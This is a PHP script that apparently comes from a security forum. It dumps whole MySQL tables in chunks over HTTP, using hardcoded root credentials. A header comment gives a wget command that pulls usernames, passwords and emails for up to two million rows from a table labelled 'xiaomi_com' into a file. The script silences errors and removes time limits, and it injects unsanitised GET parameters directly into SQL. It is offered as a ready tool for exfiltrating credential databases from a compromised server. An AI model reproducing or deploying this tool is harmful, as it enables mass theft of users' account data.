PHP Decode

<?php 
//: wget "http://localhost/getsql.php?t='xiaomi_com'&f=username,password,email&s=0&e=2000000$l=5000" -O data.txt 
// LCX Gavin 2. 
//                LCX          [url=https://www.t00ls.net/thread-26740-1-1.html]https://www.t00ls.net/thread-26740-1-1.html[/url] 
//                Gavin [url=https://www.t00ls.net/thread-26791-1-1.html]https://www.t00ls.net/thread-26791-1-1.html[/url] 
// 
  
        error_reporting(0); 
        ignore_user_abort(); 
        set_time_limit(0); 
        ob_clean(); 
  
        define('DB_HOST', '127.0.0.1'); 
        define('DB_PORT','3306'); 
        define('DB_NAME', 'thinkphp'); 
        define('DB_USER', 'root'); 
        define('DB_PASS', 'wanan'); 
        define('DB_CHAR', 'utf8'); 
  
        $type=class_exists('PDO')?'PDO':'MYSQL'; 
        $table=$_GET['t']?$_GET['t']:die('!');                                                //           t       
        $limit_start=$_GET['s']?intval($_GET['s']):0;                                                //   s 0 
        $limit_end=$_GET['e']?intval($_GET['e']):0;                                                        //   e  
        $limit_length=$_GET['l']?intval($_GET['l']):5000;                                        //   l 5000  
        $filed=$_GET['f']?$_GET['f']:'*';                                                                        //          f        ,  
  
        if($type=='PDO'){ 
                $dsn='mysql:host='.DB_HOST.';port='.DB_PORT.';dbname='.DB_NAME; 
                $options = array( 
                        PDO::MYSQL_ATTR_INIT_COMMAND => 'SET NAMES '.DB_CHAR, 
                );  
                try{ 
                                 $dbh = new PDO($dsn,DB_USER,DB_PASS,$options); 
                }catch (PDOException $e) { 
                        die('PDO ERROR!'); 
                } 
                $sql='SELECT COUNT(-1) FROM `'.$table.'`;'; 
                $do=$dbh->query($sql); 
                if($do){ 
                        $count=$do->fetch(); 
                }else{ 
                        die('PDO COUNT ERROR'); 
                } 
                $limit_end=($limit_end)?$limit_end:$count[0]; 
                $limit_end=$limit_end-$limit_start; 
                $limit_length=$limit_end>$limit_length?$limit_length:$limit_end; 
                $section=ceil($limit_end/$limit_length); 
                if (ob_get_level() == 0){ 
                                ob_start();                                         
                }else{ 
                                die('PDO ERROR'); 
                } 
                for($i=0;$i<$section;$i++){ 
                        $sql='SELECT '.$filed.' FROM  '.$table.' LIMIT '.($limit_start+1+$i*$limit_length).','.$limit_length.';'; 
                        $s=$dbh->query($sql); 
                        $arr=$s->fetchALL(PDO::FETCH_ASSOC); 
                        foreach ($arr as $value) { 
                                echo(implode('        ', $value)."
"); 
                        } 
                        ob_end_flush(); 
                } 
  
        }else{ 
                $link=mysql_connect(DB_HOST.':'.DB_PASS,DB_USER,DB_PASS); 
                if($link){ 
                        mysql_select_db(DB_NAME,$link); 
                        mysql_query('SET NAMES '.DB_CHAR); 
                        $sql='SELECT COUNT(-1) FROM `'.$table.'`;'; 
                        $count=mysql_fetch_array(mysql_query($sql)); 
                        $limit_end=($limit_end)?$limit_end:$count[0]; 
                        $limit_end=$limit_end-$limit_start; 
                        $limit_length=$limit_end>$limit_length?$limit_length:$limit_end; 
                        $section=ceil($limit_end/$limit_length); 
                        if (ob_get_level() == 0){ 
                                ob_start();                                         
                        }else{ 
                                die('MYSQL ERROR'); 
                        } 
                        for($i=0;$i<$section;$i++){ 
                                $sql='SELECT '.$filed.' FROM  '.$table.' LIMIT '.($limit_start+1+$i*$limit_length).','.$limit_length.';'; 
                                $a=mysql_query($sql); 
                                if($b=mysql_fetch_row($a)){ 
                                        do{ 
                                                echo(implode('        ', $b)."
"); 
                                        }while($b=mysql_fetch_row($a)); 
                                } 
                                ob_end_flush(); 
                        } 
                }else{ 
                        die('MYSQL ERROR!'); 
                } 
  
        } 
          
  
        ?>